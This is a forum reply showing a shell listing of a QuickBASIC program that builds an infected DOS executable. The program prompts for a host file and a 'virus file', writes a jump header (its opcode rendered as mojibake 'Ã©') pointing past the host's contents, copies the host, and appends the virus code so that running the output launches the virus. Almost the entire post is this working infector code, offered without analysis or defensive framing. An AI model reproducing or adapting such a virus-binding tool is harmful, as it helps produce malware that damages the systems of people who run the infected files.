# http://www.rkeene.org/devel/archive/quickbasic/

August 23 2011 at 5:19 AM

Response to MORT.BAS not tested?

1402023 [rkeene@sledge /home/rkeene/devel/archive/quickbasic]\$ cat -n 2.bas

1: DECLARE FUNCTION Dec! (hx\$)
2: DIM dd AS STRING * 1
3: CLS
4: INPUT "In Filename"; f\$
5: INPUT "Out Filename"; of\$
6: INPUT "Virus Filename"; vf\$
7: OPEN f\$ FOR BINARY AS #1
8: OPEN of\$ FOR BINARY AS #2
9: OPEN vf\$ FOR BINARY AS #3
10: fs = LOF(1)
11: oo\$ = ""
12: mm\$ = UCASE\$(RTRIM\$(LTRIM\$(HEX\$(fs))))
13: IF LEN(mm\$) = 3 THEN mm\$ = "0" + mm\$
14: IF LEN(mm\$) = 5 THEN mm\$ = "0" + mm\$
15: IF LEN(mm\$) = 7 THEN mm\$ = "0" + mm\$
16: IF LEN(mm\$) = 9 THEN mm\$ = "0" + mm\$
17: FOR q = LEN(mm\$) - 1 TO 1 STEP -2
18: IF Dec(MID\$(mm\$, q, 2)) = 0 THEN GOTO 2
19: oo\$ = oo\$ + CHR\$(Dec(MID\$(mm\$, q, 1) + MID\$(mm\$, q + 1, 1)))
20: 2 NEXT q
21: Hdr\$ = "Ã©" + oo\$
22: IF LEN(Hdr\$) = 2 THEN Hdr\$ = "Ã©" + CHR\$(0) + MID\$(Hdr\$, 2, 1)
23: CLS
24: FOR q = 1 TO LEN(Hdr\$)
25: dd = MID\$(Hdr\$, q, 1)
26: PUT #2, , dd
27: LOCATE 1, 1, 0: PRINT "Writing output file header."
28: dd = ""
29: NEXT q
30: LOCATE 1, 1: PRINT "Header complete. "
31: dd = ""
32: FOR q2 = 1 TO LOF(1)
33: GET #1, , dd
34: LOCATE 2, 1: PRINT "Reading input file data. "
35: PUT #2, , dd
36: LOCATE 2, 1: PRINT "Writing output file data. "
37: dd = ""
38: NEXT q2
39: LOCATE 2, 1: PRINT "Original File complete"
40: dd = ""
41: FOR q3 = 1 TO LOF(3)
42: GET #3, , dd
43: LOCATE 3, 1: PRINT "Reading virus file data. "
44: PUT #2, , dd
45: LOCATE 3, 1: PRINT "Writing output file data. "
46: dd = ""
47: NEXT q3
48: LOCATE 3, 1: PRINT "Virus file complete "
49: LOCATE 4, 1: PRINT "Done!"
50: CLOSE 1, 2, 3
51:
52: FUNCTION Dec (hx\$)
53: FOR lq = 0 TO 256
54: ma\$ = HEX\$(lq)
55: IF LEN(ma\$) = 1 THEN ma\$ = "0" + ma\$
56: IF LEN(ma\$) = 3 THEN ma\$ = "0" + ma\$
57: IF LEN(ma\$) = 5 THEN ma\$ = "0" + ma\$
58: IF UCASE\$(ma\$) = UCASE\$(hx\$) THEN Dec = lq
59: NEXT lq
60: END FUNCTION
61:

1402024 [rkeene@sledge /home/rkeene/devel/archive/quickbasic]\$